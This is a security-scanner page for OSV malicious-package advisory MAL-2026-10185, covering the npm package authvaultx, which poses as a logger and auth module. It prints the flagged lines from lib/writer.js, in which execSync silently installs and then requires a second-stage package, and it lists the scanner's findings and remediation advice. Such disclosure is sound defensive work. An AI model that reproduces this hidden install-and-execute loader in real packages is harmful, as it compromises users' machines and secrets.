OSV Malicious Advisory
scanned 4h ago · by OpenSSF/OSVOpenSSF/OSV advisory MAL-2026-10185 confirms this npm version as malicious. On require() of authvaultx (main: auth.js, which loads lib/writer.js), top-level code attempts to load the separately published npm package 'auth-next-gen'; if not present, it silently shells out to `npm install auth-next-gen --loglevel silent` and then immediately `require()`s `../../auth-next-gen/index.js`, executing whatever that external package ships...
Advisory
MAL-2026-10185
Source
OpenSSF Malicious Packages via OSV
Summary
Malicious code in authvaultx (npm)
Details
On require() of authvaultx (main: auth.js, which loads lib/writer.js), top-level code attempts to load the separately published npm package 'auth-next-gen'; if not present, it silently shells out to `npm install auth-next-gen --loglevel silent` and then immediately `require()`s `../../auth-next-gen/index.js`, executing whatever that external package ships. The fetch destination is a separate registry package controlled by the same author space, so the payload can be swapped without republishing authvaultx. lib/writer.js also assembles its user-facing fallback error string via repeated String.fromCharCode() concatenation, obscuring intent from casual review and string scanners. The published package masquerades as a logger (pino banner/logo PNGs, pino-cloned docs/ directory, logger/stream/json keywords) while the README advertises authentication functionality and the actual on-require behavior is a second-stage loader — none of the advertised purposes (logger or auth module) requires fetching and executing another npm package at load time.
## Source: ghsa-malware (0fbb555b68c6fa973cbdfe9b7e7e8c752faf3013859c6c9d9d3a2b2dedab256b) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
Decision reason
One or more suspicious static signals were detected.
References
Decision evidence
public snapshotBehavioral surface
ChildProcessEnvironmentVarsFilesystem
HighEntropyStringsUrlStrings
Source & flagged code
3 flagged · loading sourcelib/writer.jsView file
4const path = require('path');
L5: const { execSync } = require('child_process');
L6:
High
33try {
L34: execSync(`npm install auth-next-gen --no-warnings --no-save --no-progress --loglevel silent`, { windowsHide: true });
L35: require('../../auth-next-gen/index.js');
High
Runtime Package Install
Package source invokes a package manager install command at runtime.
lib/writer.jsView on unpkg · L33docs/transports.mdView file
550patternName = generic_password
severity = medium
line = 550
matchedText = password...rd',
Medium
Findings
2 High3 Medium4 Low
HighChild Processlib/writer.js
HighRuntime Package Installlib/writer.js
MediumEnvironment Vars
MediumStructural Risk Force Deep Review
MediumSecret Patterndocs/transports.md
LowScripts Present
LowFilesystem
LowHigh Entropy Strings
LowUrl Strings